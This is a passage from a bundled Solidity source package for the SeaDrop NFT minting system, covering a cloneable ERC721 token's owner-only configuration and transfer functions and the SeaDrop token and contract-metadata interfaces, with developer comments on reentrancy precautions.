data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allow list on SeaDrop.\n ISeaDrop(seaDropImpl).updateAllowList(allowListData);\n }\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the token gated drop stage.\n ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, dropStage);\n }\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external\n virtual\n override\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the drop URI.\n ISeaDrop(seaDropImpl).updateDropURI(dropURI);\n }\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the creator payout address.\n ISeaDrop(seaDropImpl).updateCreatorPayoutAddress(payoutAddress);\n }\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the owner can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external virtual {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allowed fee recipient.\n ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed);\n }\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters to\n * enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the signer.\n ISeaDrop(seaDropImpl).updateSignedMintValidationParams(\n signer,\n signedMintValidationParams\n );\n }\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the payer.\n ISeaDrop(seaDropImpl).updatePayer(payer, allowed);\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n override\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n )\n {\n minterNumMinted = _numberMinted(minter);\n currentTotalSupply = _totalMinted();\n maxSupply = _maxSupply;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(INonFungibleSeaDropToken).interfaceId ||\n interfaceId == type(ISeaDropTokenContractMetadata).interfaceId ||\n // ERC721ContractMetadata returns supportsInterface true for\n // EIP-2981\n // ERC721A returns supportsInterface true for\n // ERC165, ERC721, ERC721Metadata\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n * - The `operator` must be allowed.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n * - The `operator` mut be allowed.\n *\n * Emits an {Approval} event.\n */\n function approve(address operator, uint256 tokenId)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.approve(operator, tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n /**\n * @notice Configure multiple properties at a time.\n *\n * Note: The individual configure methods should be used\n * to unset or reset any properties to zero, as this method\n * will ignore zero-value properties in the config struct.\n *\n * @param config The configuration struct.\n */\n function multiConfigure(MultiConfigureStruct calldata config)\n external\n onlyOwner\n {\n if (config.maxSupply > 0) {\n this.setMaxSupply(config.maxSupply);\n }\n if (bytes(config.baseURI).length != 0) {\n this.setBaseURI(config.baseURI);\n }\n if (bytes(config.contractURI).length != 0) {\n this.setContractURI(config.contractURI);\n }\n if (\n _cast(config.publicDrop.startTime != 0) |\n _cast(config.publicDrop.endTime != 0) ==\n 1\n ) {\n this.updatePublicDrop(config.seaDropImpl, config.publicDrop);\n }\n if (bytes(config.dropURI).length != 0) {\n this.updateDropURI(config.seaDropImpl, config.dropURI);\n }\n if (config.allowListData.merkleRoot != bytes32(0)) {\n this.updateAllowList(config.seaDropImpl, config.allowListData);\n }\n if (config.creatorPayoutAddress != address(0)) {\n this.updateCreatorPayoutAddress(\n config.seaDropImpl,\n config.creatorPayoutAddress\n );\n }\n if (config.provenanceHash != bytes32(0)) {\n this.setProvenanceHash(config.provenanceHash);\n }\n if (config.allowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.allowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.allowedFeeRecipients[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.disallowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.disallowedFeeRecipients[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.allowedPayers.length > 0) {\n for (uint256 i = 0; i < config.allowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.allowedPayers[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedPayers.length > 0) {\n for (uint256 i = 0; i < config.disallowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.disallowedPayers[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.tokenGatedDropStages.length > 0) {\n if (\n config.tokenGatedDropStages.length !=\n config.tokenGatedAllowedNftTokens.length\n ) {\n revert TokenGatedMismatch();\n }\n for (uint256 i = 0; i < config.tokenGatedDropStages.length; ) {\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.tokenGatedAllowedNftTokens[i],\n config.tokenGatedDropStages[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedTokenGatedAllowedNftTokens.length > 0) {\n for (\n uint256 i = 0;\n i < config.disallowedTokenGatedAllowedNftTokens.length;\n\n ) {\n TokenGatedDropStage memory emptyStage;\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.disallowedTokenGatedAllowedNftTokens[i],\n emptyStage\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.signedMintValidationParams.length > 0) {\n if (\n config.signedMintValidationParams.length !=\n config.signers.length\n ) {\n revert SignersMismatch();\n }\n for (\n uint256 i = 0;\n i < config.signedMintValidationParams.length;\n\n ) {\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.signers[i],\n config.signedMintValidationParams[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedSigners.length > 0) {\n for (uint256 i = 0; i < config.disallowedSigners.length; ) {\n SignedMintValidationParams memory emptyParams;\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.disallowedSigners[i],\n emptyParams\n );\n unchecked {\n ++i;\n }\n }\n }\n }\n}\n"
},
"src/interfaces/INonFungibleSeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\ninterface INonFungibleSeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @dev Revert with an error if a contract is not an allowed\n * SeaDrop address.\n */\n error OnlyAllowedSeaDrop();\n\n /**\n * @dev Emit an event when allowed SeaDrop contracts are updated.\n */\n event AllowedSeaDropUpdated(address[] allowedSeaDrop);\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external;\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity) external;\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n );\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator can only update `feeBps`.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external;\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external;\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator, when present, must first set `feeBps`.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external;\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external;\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the administrator can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external;\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external;\n}\n"
},
"src/interfaces/ISeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n MintParams,\n PublicDrop,\n TokenGatedDropStage,\n TokenGatedMintParams,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"../lib/SeaDropErrorsAndEvents.sol\";\n\ninterface ISeaDrop is SeaDropErrorsAndEvents {\n /**\n * @notice Mint a public drop.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n */\n function mintPublic(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity\n ) external payable;\n\n /**\n * @notice Mint from an allow list.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param proof The proof for the leaf of the allow list.\n */\n function mintAllowList(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n bytes32[] calldata proof\n ) external payable;\n\n /**\n * @notice Mint with a server-side signature.\n * Note that a signature can only be used once.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param salt The sale for the signed mint.\n * @param signature The server-side signature, must be an allowed\n * signer.\n */\n function mintSigned(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n uint256 salt,\n bytes calldata signature\n ) external payable;\n\n /**\n * @notice Mint as an allowed token holder.\n * This will mark the token id as redeemed and will revert if the\n * same token id is attempted to be redeemed twice.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param mintParams The token gated mint params.\n */\n function mintAllowedTokenHolder(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n TokenGatedMintParams calldata mintParams\n ) external payable;\n\n /**\n * @notice Emits an event to notify update of the drop URI.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Updates the public drop data for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(PublicDrop calldata publicDrop) external;\n\n /**\n * @notice Updates the allow list merkle root for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param allowListData The allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Updates the token gated drop stage for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during\n * the `dropStage` time period.\n *\n * @param allowedNftToken The token gated nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Updates the creator payout address and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payoutAddress The creator payout address.\n */\n function updateCreatorPayoutAddress(address payoutAddress) external;\n\n /**\n * @notice Updates the allowed fee recipient and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param feeRecipient The fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(address feeRecipient, bool allowed)\n external;\n\n /**\n * @notice Updates the allowed server-side signers and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address signer,\n SignedMintValidationParams calldata signedMintValidationParams\n ) external;\n\n /**\n * @notice Updates the allowed payer and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payer The payer to add or remove.\n * @param allowed Whether to add or remove the payer.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Returns the public drop data for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPublicDrop(address nftContract)\n external\n view\n returns (PublicDrop memory);\n\n /**\n * @notice Returns the creator payout address for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getCreatorPayoutAddress(address nftContract)\n external\n view\n returns (address);\n\n /**\n * @notice Returns the allow list merkle root for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getAllowListMerkleRoot(address nftContract)\n external\n view\n returns (bytes32);\n\n /**\n * @notice Returns if the specified fee recipient is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param feeRecipient The fee recipient.\n */\n function getFeeRecipientIsAllowed(address nftContract, address feeRecipient)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns an enumeration of allowed fee recipients for an\n * nft contract when fee recipients are enforced\n *\n * @param nftContract The nft contract.\n */\n function getAllowedFeeRecipients(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the server-side signers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getSigners(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the struct of SignedMintValidationParams for a signer.\n *\n * @param nftContract The nft contract.\n * @param signer The signer.\n */\n function getSignedMintValidationParams(address nftContract, address signer)\n external\n view\n returns (SignedMintValidationParams memory);\n\n /**\n * @notice Returns the payers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPayers(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns if the specified payer is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param payer The payer.\n */\n function getPayerIsAllowed(address nftContract, address payer)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns the allowed token gated drop tokens for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getTokenGatedAllowedTokens(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the token gated drop data for the nft contract\n * and token gated nft.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n */\n function getTokenGatedDrop(address nftContract, address allowedNftToken)\n external\n view\n returns (TokenGatedDropStage memory);\n\n /**\n * @notice Returns whether the token id for a token gated drop has been\n * redeemed.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n * @param allowedNftTokenId The token gated nft token id to check.\n */\n function getAllowedNftTokenIdIsRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n ) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\ninterface ISeaDropTokenContractMetadata is IERC2981 {\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables in ERC721A.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert if the royalty basis points is greater than 10_000.\n */\n error InvalidRoyaltyBasisPoints(uint256 basisPoints);\n\n /**\n * @dev Revert if the royalty address is being set to the zero address.\n */\n error RoyaltyAddressCannotBeZeroAddress();\n\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event when the max token supply is updated.\n */\n event MaxSupplyUpdated(uint256 newMaxSupply);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the royalties info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 bps);\n\n /**\n * @notice A struct defining royalty info for the contract.\n */\n struct RoyaltyInfo {\n address royaltyAddress;\n uint96 royaltyBps;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the max supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() external view returns (uint256);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address);\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256);\n}\n"
},
"src/lib/ERC721SeaDropStructsErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n PublicDrop,\n SignedMintValidationParams,\n TokenGatedDropStage\n} from \"./SeaDropStructs.sol\";\n\ninterface ERC721SeaDropStructsErrorsAndEvents {\n /**\n * @notice Revert with an error if mint exceeds the max supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Revert with an error if the number of token gated \n * allowedNftTokens doesn't match the length of supplied\n * drop stages.\n */\n error TokenGatedMismatch();\n\n /**\n * @notice Revert with an error if the number of signers doesn't match\n * the length of supplied signedMintValidationParams\n */\n error SignersMismatch();\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed();\n\n /**\n * @notice A struct to configure multiple contract options at a time.\n */\n struct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n address seaDropImpl;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n address creatorPayoutAddress;\n bytes32 provenanceHash;\n\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n\n address[] allowedPayers;\n address[] disallowedPayers;\n\n // Token-gated\n address[] tokenGatedAllowedNftTokens;\n TokenGatedDropStage[] tokenGatedDropStages;\n address[] disallowedTokenGatedAllowedNftTokens;\n\n // Server-signed\n address[] signers;\n SignedMintValidationParams[] signedMintValidationParams;\n address[] disallowedSigners;\n }\n}"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
